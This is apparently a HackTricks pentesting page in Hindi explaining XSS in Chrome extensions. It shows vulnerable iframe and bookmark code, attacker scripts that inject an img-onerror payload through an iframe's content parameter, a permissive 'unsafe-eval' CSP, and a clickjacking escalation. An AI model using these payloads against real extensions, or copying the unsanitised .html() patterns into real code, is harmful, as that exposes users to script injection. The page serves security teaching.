BrowExt - XSS Example

Support HackTricks

Cross-Site Scripting (XSS) through Iframe

इस सेटअप में, एक कंटेंट स्क्रिप्ट को एक Iframe बनाने के लिए लागू किया गया है, जिसमें Iframe के स्रोत के रूप में क्वेरी पैरामीटर के साथ एक URL शामिल है:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

एक सार्वजनिक रूप से सुलभ HTML पृष्ठ, message.html, को URL में पैरामीटर के आधार पर दस्तावेज़ शरीर में सामग्री को गतिशील रूप से जोड़ने के लिए डिज़ाइन किया गया है:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

एक दुर्भावनापूर्ण स्क्रिप्ट एक प्रतिकूल के पृष्ठ पर निष्पादित होती है, जो Iframe के स्रोत के content पैरामीटर को संशोधित करती है ताकि एक XSS पेलोड पेश किया जा सके। यह Iframe के स्रोत को एक हानिकारक स्क्रिप्ट शामिल करने के लिए अपडेट करके प्राप्त किया जाता है:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

एक अत्यधिक अनुमति देने वाली सामग्री सुरक्षा नीति जैसे:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

JavaScript के निष्पादन की अनुमति देता है, जिससे सिस्टम XSS हमलों के प्रति संवेदनशील हो जाता है।

XSS को उत्तेजित करने के लिए एक वैकल्पिक दृष्टिकोण Iframe तत्व बनाना और इसके स्रोत को हानिकारक स्क्रिप्ट को content पैरामीटर के रूप में शामिल करना है:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

यह उदाहरण मूल पोस्ट लेख से लिया गया है।

मुख्य समस्या /html/bookmarks.html में स्थित एक DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता से उत्पन्न होती है। समस्या वाली JavaScript, जो bookmarks.js का हिस्सा है, नीचे विस्तृत की गई है:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

यह स्निपेट txtName इनपुट फ़ील्ड से मान प्राप्त करता है और HTML उत्पन्न करने के लिए स्ट्रिंग संयोजन का उपयोग करता है, जिसे फिर jQuery के .append() फ़ंक्शन का उपयोग करके DOM में जोड़ा जाता है।

आमतौर पर, Chrome एक्सटेंशन की सामग्री सुरक्षा नीति (CSP) ऐसी कमजोरियों को रोकती है। हालाँकि, ‘unsafe-eval’ के साथ CSP में ढील और jQuery के DOM हेरफेर विधियों का उपयोग (जो globalEval() का उपयोग करके स्क्रिप्ट को eval() पर DOM सम्मिलन के समय पास करते हैं) के कारण, शोषण अभी भी संभव है।

हालांकि यह कमजोरी महत्वपूर्ण है, इसका शोषण आमतौर पर उपयोगकर्ता इंटरैक्शन पर निर्भर करता है: पृष्ठ पर जाना, XSS पेलोड दर्ज करना, और “Add” बटन को सक्रिय करना।

इस कमजोरी को बढ़ाने के लिए, एक द्वितीयक क्लिकजैकिंग कमजोरी का शोषण किया जाता है। Chrome एक्सटेंशन का मैनिफेस्ट एक विस्तृत web_accessible_resources नीति को प्रदर्शित करता है:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Notably, the /html/bookmarks.html पृष्ठ फ्रेमिंग के प्रति संवेदनशील है, इस प्रकार clickjacking के लिए कमजोर है। इस कमजोरी का उपयोग हमलावर की साइट के भीतर पृष्ठ को फ्रेम करने के लिए किया जाता है, इसे DOM तत्वों के साथ ओवरले करके इंटरफेस को धोखे से redesign किया जाता है। यह हेरफेर पीड़ितों को अनजाने में अंतर्निहित एक्सटेंशन के साथ इंटरैक्ट करने के लिए प्रेरित करता है।

References

Support HackTricks

Last updated